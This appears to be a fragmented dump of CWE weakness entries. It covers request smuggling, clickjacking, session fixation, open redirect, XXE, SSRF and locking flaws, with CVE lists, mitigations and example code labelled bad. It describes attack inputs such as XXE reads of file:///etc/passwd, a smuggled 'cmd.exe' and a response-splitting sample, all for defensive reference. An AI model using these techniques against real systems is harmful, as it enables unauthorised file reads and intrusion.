49,152 copies of \"z\" and the lines with an additional lines with 71 bytes as its body (49,152+71=49,223). The firewall then continues to parse what it thinks is the second request starting with the line with the third POST request.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": "Note that there is no CRLF after the \"Bla: \" header so the POST in the line is parsed as the value of the \"Bla:\" header. Although the line contains the pattern identified with a worm (\"cmd.exe\"), it is not blocked, since it is considered part of a header value. Therefore, \"cmd.exe\" is smuggled through the firewall.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": "When the request is passed through the firewall the web server the first request is ignored because the web server does not find an expected \"Content-Type: application/x-www-form-urlencoded\" header, and starts parsing the second request.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": "This second request has a content-length of 30 bytes, which is exactly the length of the next two lines up to the space after the \"Bla:\" header. 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For instance, the HTTP response interpreted by the front-end/client HTTP agent/entity - in this case the web browser - can interpret a single response from an adversary-compromised web server as being two responses from two different web sites. In the Example below, notice the extra space after the Content-Length and Set-Cookie headers.", "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "HTTP/1.1 200 OK\n Date: Fri, 08 Aug 2016 08:12:31 GMT\n Server: Apache (Unix)\n Connection: Keep-Alive\n Content-Encoding: gzip\n Content-Type: text/html\n\n **Content-Length :** 2345\n Transfer-Encoding: chunked\n\n **Set-Cookie :** token=\"Malicious Code\"\n\n <HTML> ... \"Malicious Code\"", "IntroText": null, "Language": null, "Nature": "Attack", "Reference": null } ], "ID": null } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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610

Externally Controlled Reference to a Resource in Another Sphere

Class

Simple

Draft

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The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere.

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[ { "Note": "COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.", "Phase": "Architecture and Design" } ]

[ { "Impact": [ "Read Application Data", "Modify Application Data" ], "Likelihood": null, "Note": "An adversary could read or modify data, depending on how the resource is intended to be used.", "Scope": [ "Confidentiality", "Integrity" ] }, { "Impact": [ "Gain Privileges or Assume Identity" ], "Likelihood": [ "High" ], "Note": "An adversary that can supply a reference to an unintended resource can potentially access a resource that they do not have privileges for, thus bypassing existing access control mechanisms.", "Scope": [ "Access Control" ] } ]

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[ { "Description": "An email client does not block loading of remote objects in a nested document.", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-3032", "Reference": "CVE-2022-3032" }, { "Description": "Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using \"../\" sequences (CWE-24)", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-45918", "Reference": "CVE-2022-45918" }, { "Description": "Cryptography API uses unsafe reflection when deserializing a private key", "Link": "https://www.cve.org/CVERecord?id=CVE-2018-1000613", "Reference": "CVE-2018-1000613" }, { "Description": "Chain: Go-based Oauth2 reverse proxy can send the authenticated user to another site at the end of the authentication flow. A redirect URL with HTML-encoded whitespace characters can bypass the validation (CWE-1289) to redirect to a malicious site (CWE-601)", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-11053", "Reference": "CVE-2020-11053" }, { "Description": "Recruiter software allows reading arbitrary files using XXE", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-42745", "Reference": "CVE-2022-42745" }, { "Description": "Database system allows attackers to bypass sandbox restrictions by using the Reflection API.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-2331", "Reference": "CVE-2004-2331" } ]

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Discouraged

This CWE entry is a level-1 Class (i.e., a child of a Pillar). It might have lower-level children that would be more appropriate

Examine children of this entry to see if there is a better fit

[ "Abstraction" ]

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1

[ [ "610" ] ]

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1021

Improper Restriction of Rendered UI Layers or Frames

Base

Simple

Incomplete

null

The web application does not restrict or incorrectly restricts frame objects or UI layers that belong to another application or domain, which can lead to user confusion about which interface the user is interacting with.

A web application is expected to place restrictions on whether it is allowed to be rendered within frames, iframes, objects, embed or applet elements. Without the restrictions, users can be tricked into interacting with the application when they were not intending to.

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[ { "Class": "Web Based", "Name": null, "Prevalence": "Undetermined", "Type": "Technology" } ]

[ { "Note": null, "Phase": "Implementation" } ]

[ { "Impact": [ "Gain Privileges or Assume Identity", "Bypass Protection Mechanism", "Read Application Data", "Modify Application Data" ], "Likelihood": null, "Note": "An attacker can trick a user into performing actions that are masked and hidden from the user's view. The impact varies widely, depending on the functionality of the underlying application. For example, in a social media application, clickjacking could be used to trik the user into changing privacy settings.", "Scope": [ "Access Control" ] } ]

[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

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[ { "Description": "E-mail preview feature in a desktop application allows clickjacking attacks via a crafted e-mail message", "Link": "https://www.cve.org/CVERecord?id=CVE-2017-7440", "Reference": "CVE-2017-7440" }, { "Description": "Hardware/firmware product has insufficient clickjacking protection in its web user interface", "Link": "https://www.cve.org/CVERecord?id=CVE-2017-5697", "Reference": "CVE-2017-5697" }, { "Description": "Clickjacking in data-loss prevention product via HTTP response header.", "Link": "https://www.cve.org/CVERecord?id=CVE-2017-4015", "Reference": "CVE-2017-4015" }, { "Description": "Tapjacking in permission dialog for mobile OS allows access of private storage using a partially-overlapping window.", "Link": "https://www.cve.org/CVERecord?id=CVE-2016-2496", "Reference": "CVE-2016-2496" }, { "Description": "Tapjacking in web browser related to page navigation and touch/gesture events.", "Link": "https://www.cve.org/CVERecord?id=CVE-2015-1241", "Reference": "CVE-2015-1241" }, { "Description": "System UI in mobile OS allows a malicious application to create a UI overlay of the entire screen to gain privileges.", "Link": "https://www.cve.org/CVERecord?id=CVE-2017-0492", "Reference": "CVE-2017-0492" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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[ { "Description": null, "Term": "Clickjacking" }, { "Description": null, "Term": "UI Redress Attack" }, { "Description": "\"Tapjacking\" is similar to clickjacking, except it is used for mobile applications in which the user \"taps\" the application instead of performing a mouse click.", "Term": "Tapjacking" } ]

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384

Session Fixation

Compound

Composite

Incomplete

null

Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.

Such a scenario is commonly observed when: - A web application authenticates a user without first invalidating the existing session, thereby continuing to use the session already associated with the user. - An attacker is able to force a known session identifier on a user so that, once the user authenticates, the attacker has access to the authenticated session. - The application or container uses predictable session identifiers. In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to associate, and possibly authenticate, against the server using that session identifier, giving the attacker access to the user's account through the active session.

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[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

[ { "Note": null, "Phase": "Architecture and Design" }, { "Note": null, "Phase": "Implementation" } ]

[ { "Impact": [ "Gain Privileges or Assume Identity" ], "Likelihood": null, "Note": null, "Scope": [ "Access Control" ] } ]

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Allowed

This is a well-known Composite of multiple weaknesses that must all occur simultaneously, although it is attack-oriented in nature.

While attack-oriented composites are supported in CWE, they have not been a focus of research. There is a chance that future research or CWE scope clarifications will change or deprecate them. Perform root-cause analysis to determine which weaknesses allow session fixation to occur, and map to those weaknesses. For example, predictable session identifiers might enable session fixation attacks to succeed; if this occurs, they might be better characterized as randomness/predictability weaknesses.

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601

URL Redirection to Untrusted Site ('Open Redirect')

Base

Simple

Draft

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The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.

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Low

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[ { "Description": "URL parameter loads the URL into a frame and causes it to appear to be part of a valid page.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-4206", "Reference": "CVE-2005-4206" }, { "Description": "An open redirect vulnerability in the search script in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL as a parameter to the proper function.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-2951", "Reference": "CVE-2008-2951" }, { "Description": "Open redirect vulnerability in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the proper parameter.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-2052", "Reference": "CVE-2008-2052" }, { "Description": "Chain: Go-based Oauth2 reverse proxy can send the authenticated user to another site at the end of the authentication flow. A redirect URL with HTML-encoded whitespace characters can bypass the validation (CWE-1289) to redirect to a malicious site (CWE-601)", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-11053", "Reference": "CVE-2020-11053" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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[ "Phishing is a general term for deceptive attempts to coerce private information from users that will be used for identity theft." ]

1

[ [ "610", "601" ] ]

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611

Improper Restriction of XML External Entity Reference

Base

Simple

Draft

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The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing. By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file. For example, a URI such as "file:///c:/winnt/win.ini" designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems. Using URIs with other schemes such as http://, the attacker can force the application to make outgoing requests to servers that the attacker cannot reach directly, which can be used to bypass firewall restrictions or hide the source of attacks such as port scanning. Once the content of the URI is read, it is fed back into the application that is processing the XML. This application may echo back the data (e.g. in an error message), thereby exposing the file contents.

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[ { "Class": null, "Name": "XML", "Prevalence": "Undetermined", "Type": "Language" }, { "Class": "Web Based", "Name": null, "Prevalence": "Undetermined", "Type": "Technology" } ]

[ { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" } ]

[ { "Impact": [ "Read Application Data", "Read Files or Directories" ], "Likelihood": null, "Note": "If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.", "Scope": [ "Confidentiality" ] }, { "Impact": [ "Bypass Protection Mechanism" ], "Likelihood": null, "Note": "The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.", "Scope": [ "Integrity" ] }, { "Impact": [ "DoS: Resource Consumption (CPU)", "DoS: Resource Consumption (Memory)" ], "Likelihood": null, "Note": "The product could consume excessive CPU cycles or memory using a URI that points to a large file, or a device that always returns data such as /dev/random. Alternately, the URI could reference a file that contains many nested or recursive entity references to further slow down parsing.", "Scope": [ "Availability" ] } ]

[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

[ { "Description": "Many XML parsers and validators can be configured to disable external entity expansion.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation", "System Configuration" ], "Strategy": null } ]

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[ { "Description": "Recruiter software allows reading arbitrary files using XXE", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-42745", "Reference": "CVE-2022-42745" }, { "Description": "A browser control can allow remote attackers to determine the existence of files via Javascript containing XML script.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1306", "Reference": "CVE-2005-1306" }, { "Description": "XXE during SVG image conversion", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-5656", "Reference": "CVE-2012-5656" }, { "Description": "XXE in PHP application allows reading the application's configuration file.", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-2239", "Reference": "CVE-2012-2239" }, { "Description": "XXE in database server", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-3489", "Reference": "CVE-2012-3489" }, { "Description": "XXE in rapid web application development framework allows reading arbitrary files.", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-4399", "Reference": "CVE-2012-4399" }, { "Description": "XXE via XML-RPC request.", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-3363", "Reference": "CVE-2012-3363" }, { "Description": "XXE in office document product using RDF.", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-0037", "Reference": "CVE-2012-0037" }, { "Description": "XXE in web-based administration tool for database.", "Link": "https://www.cve.org/CVERecord?id=CVE-2011-4107", "Reference": "CVE-2011-4107" }, { "Description": "XXE in product that performs large-scale data analysis.", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-3322", "Reference": "CVE-2010-3322" }, { "Description": "XXE in XSL stylesheet functionality in a common library used by some web browsers.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-1699", "Reference": "CVE-2009-1699" } ]

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[ { "Note": "CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the \"Server\" portion of the SSRF acronym does not necessarily apply.", "Type": "Relationship" } ]

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This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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[ { "Description": "An acronym used for the term \"XML eXternal Entities\"", "Term": "XXE" } ]

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1

[ [ "610", "611" ] ]

[]

918

Server-Side Request Forgery (SSRF)

Base

Simple

Incomplete

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The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

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[ { "CweID": "610", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" }, { "Class": null, "Name": "Web Server", "Prevalence": "Undetermined", "Type": "Technology" } ]

[ { "Note": null, "Phase": "Architecture and Design" }, { "Note": null, "Phase": "Implementation" } ]

[ { "Impact": [ "Read Application Data" ], "Likelihood": null, "Note": null, "Scope": [ "Confidentiality" ] }, { "Impact": [ "Execute Unauthorized Code or Commands" ], "Likelihood": null, "Note": null, "Scope": [ "Integrity" ] }, { "Impact": [ "Bypass Protection Mechanism" ], "Likelihood": null, "Note": "By providing URLs to unexpected hosts or ports, attackers can make it appear that the server is sending the request, possibly bypassing access controls such as firewalls that prevent the attackers from accessing the URLs directly. The server can be used as a proxy to conduct port scanning of hosts in internal networks, use other URLs such as that can access documents on the system (using file://), or use other protocols such as gopher:// or tftp://, which may provide greater control over the contents of requests.", "Scope": [ "Access Control" ] } ]

[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

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[ { "Description": "Chain: LLM integration framework has prompt injection (CWE-1427) that allows an attacker to force the service to retrieve data from an arbitrary URL, essentially providing SSRF (CWE-918) and potentially injecting content into downstream tasks.", "Link": "https://www.cve.org/CVERecord?id=CVE-2023-32786", "Reference": "CVE-2023-32786" }, { "Description": "Server Side Request Forgery (SSRF) in mail server, as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-26855", "Reference": "CVE-2021-26855" }, { "Description": "Server Side Request Forgery in cloud platform, as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-21973", "Reference": "CVE-2021-21973" }, { "Description": "Chain: incorrect validation of intended decimal-based IP address format (CWE-1286) enables parsing of octal or hexadecimal formats (CWE-1389), allowing bypass of an SSRF protection mechanism (CWE-918).", "Link": "https://www.cve.org/CVERecord?id=CVE-2016-4029", "Reference": "CVE-2016-4029" }, { "Description": "Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1484", "Reference": "CVE-2002-1484" }, { "Description": "CGI script accepts and retrieves incoming URLs.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-2061", "Reference": "CVE-2004-2061" }, { "Description": "Web-based mail program allows internal network scanning using a modified POP3 port number.", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-1637", "Reference": "CVE-2010-1637" }, { "Description": "URL-downloading library automatically follows redirects to file:// and scp:// URLs", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-0037", "Reference": "CVE-2009-0037" } ]

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[ { "Note": "CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the \"Server\" portion of the SSRF acronym does not necessarily apply.", "Type": "Relationship" } ]

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This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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662

Improper Synchronization

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Draft

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The product utilizes multiple threads or processes to allow temporary access to a shared resource that can only be exclusive to one process at a time, but it does not properly synchronize these actions, which might cause simultaneous accesses of this resource by multiple threads or processes.

Synchronization refers to a variety of behaviors and mechanisms that allow two or more independently-operating processes or threads to ensure that they operate on shared resources in predictable ways that do not interfere with each other. Some shared resource operations cannot be executed atomically; that is, multiple steps must be guaranteed to execute sequentially, without any interference by other processes. Synchronization mechanisms vary widely, but they may include locking, mutexes, and semaphores. When a multi-step operation on a shared resource cannot be guaranteed to execute independent of interference, then the resulting behavior can be unpredictable. Improper synchronization could lead to data or memory corruption, denial of service, etc.

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[ { "Note": null, "Phase": "Architecture and Design" }, { "Note": null, "Phase": "Implementation" } ]

[ { "Impact": [ "Modify Application Data", "Read Application Data", "Alter Execution Logic" ], "Likelihood": null, "Note": null, "Scope": [ "Integrity", "Confidentiality", "Other" ] } ]

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[ { "Description": "Use industry standard APIs to synchronize your code.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null } ]

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[ { "Description": "Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-1782", "Reference": "CVE-2021-1782" }, { "Description": "Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-0935", "Reference": "CVE-2009-0935" } ]

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[ { "Note": "Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.", "Type": "Maintenance" } ]

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667

Improper Locking

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Simple

Draft

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The product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.

Locking is a type of synchronization behavior that ensures that multiple independently-operating processes or threads do not interfere with each other when accessing the same resource. All processes/threads are expected to follow the same steps for locking. If these steps are not followed precisely - or if no locking is done at all - then another process/thread could modify the shared resource in a way that is not visible or predictable to the original process. This can lead to data or memory corruption, denial of service, etc.

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[ { "Note": null, "Phase": "Architecture and Design" }, { "Note": null, "Phase": "Implementation" } ]

[ { "Impact": [ "DoS: Resource Consumption (CPU)" ], "Likelihood": null, "Note": "Inconsistent locking discipline can lead to deadlock.", "Scope": [ "Availability" ] } ]

[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

[ { "Description": "Use industry standard APIs to implement locking mechanism.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": "Libraries or Frameworks" } ]

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Thus, all operations on long and double fields should be synchronized.", "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\tprivate long someLongValue;\n\tpublic long getLongValue() {\n\t\treturn someLongValue;\n\t}\n\tpublic void setLongValue(long l) {\n\t\tsomeLongValue = l;\n\t}\n```", "IntroText": null, "Language": "Java", "Nature": "Bad", "Reference": null } ], "ID": null }, { "Entries": [ { "BodyText": null, "ExampleCode": null, "IntroText": "This code tries to obtain a lock for a file, then writes to it.", "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\tfunction writeToLog($message){\n\t\t$logfile = fopen(\"logFile.log\", \"a\");\n```\n//attempt to get logfile lock* \n\t\tif (flock($logfile, LOCK_EX)) {\n\t\t```\n\t\t\tfwrite($logfile,$message);\n```\n// unlock logfile* \n\t\t\tflock($logfile, LOCK_UN);}\n\t\telse {\n\t\t```\n\t\t\tprint \"Could not obtain lock on logFile.log, message not recorded\\n\";\n\t\t}\n\t}\n\tfclose($logFile);\n```", "IntroText": null, "Language": "PHP", "Nature": "Bad", "Reference": null }, { "BodyText": "PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. 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If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": "In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\tint f(pthread_mutex_t *mutex) {\n\t\t\tint result;\n\t\t\tresult = pthread_mutex_lock(mutex);\n\t\t\tif (0 != result)\n\t\t\t\treturn result;\n```\n/* access shared resource */* \n\t\t\t\n\t\t\t\n\t\t\treturn pthread_mutex_unlock(mutex);}", "IntroText": null, "Language": "C", "Nature": "Good", "Reference": null } ], "ID": "DX-24" }, { "Entries": [ { "BodyText": null, "ExampleCode": null, "IntroText": "It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...", "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\tif (helper == null) {\n\t\t\tsynchronized (this) {\n\t\t\t\tif (helper == null) {\n\t\t\t\t\thelper = new Helper();\n\t\t\t\t}\n\t\t\t}\n\t}\n\treturn helper;\n```", "IntroText": null, "Language": "Java", "Nature": "Bad", "Reference": null }, { "BodyText": "The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": "Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\thelper = new Helper();\n```", "IntroText": null, "Language": "Java", "Nature": "Bad", "Reference": null }, { "BodyText": "If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null } ], "ID": "DX-70" } ]

[ { "Description": "Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-1782", "Reference": "CVE-2021-1782" }, { "Description": "Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-0935", "Reference": "CVE-2009-0935" }, { "Description": "function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory.", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-4210", "Reference": "CVE-2010-4210" }, { "Description": "Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-4302", "Reference": "CVE-2008-4302" }, { "Description": "OS kernel performs an unlock in some incorrect circumstances, leading to panic.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-1243", "Reference": "CVE-2009-1243" }, { "Description": "OS deadlock", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-2857", "Reference": "CVE-2009-2857" }, { "Description": "OS deadlock involving 3 separate functions", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-1961", "Reference": "CVE-2009-1961" }, { "Description": "deadlock in library", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-2699", "Reference": "CVE-2009-2699" }, { "Description": "deadlock triggered by packets that force collisions in a routing table", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-4272", "Reference": "CVE-2009-4272" }, { "Description": "read/write deadlock between web server and script", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1850", "Reference": "CVE-2002-1850" }, { "Description": "web server deadlock involving multiple listening connections", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-0174", "Reference": "CVE-2004-0174" }, { "Description": "multiple simultaneous calls to the same function trigger deadlock.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-1388", "Reference": "CVE-2009-1388" }, { "Description": "chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833).", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-5158", "Reference": "CVE-2006-5158" }, { "Description": "deadlock when an operation is performed on a resource while it is being removed.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-4342", "Reference": "CVE-2006-4342" }, { "Description": "Deadlock in device driver triggered by using file handle of a related device.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-2374", "Reference": "CVE-2006-2374" }, { "Description": "Deadlock when large number of small messages cannot be processed quickly enough.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-2275", "Reference": "CVE-2006-2275" }, { "Description": "OS kernel has deadlock triggered by a signal during a core dump.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-3847", "Reference": "CVE-2005-3847" }, { "Description": "Race condition leads to deadlock.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-3106", "Reference": "CVE-2005-3106" }, { "Description": "Chain: array index error (CWE-129) leads to deadlock (CWE-833)", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2456", "Reference": "CVE-2005-2456" }, { "Description": "Program can not execute when attacker obtains a mutex.", "Link": "https://www.cve.org/CVERecord?id=CVE-2001-0682", "Reference": "CVE-2001-0682" }, { "Description": "Program can not execute when attacker obtains a lock on a critical output file.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1914", "Reference": "CVE-2002-1914" }, { "Description": "Program can not execute when attacker obtains a lock on a critical output file.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1915", "Reference": "CVE-2002-1915" }, { "Description": "Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-0051", "Reference": "CVE-2002-0051" }, { "Description": "Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness.", "Link": "https://www.cve.org/CVERecord?id=CVE-2000-0338", "Reference": "CVE-2000-0338" }, { "Description": "Chain: Lock files with predictable names. Resultant from randomness.", "Link": "https://www.cve.org/CVERecord?id=CVE-2000-1198", "Reference": "CVE-2000-1198" }, { "Description": "Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1869", "Reference": "CVE-2002-1869" } ]

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Improper Initialization

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The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.

This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.

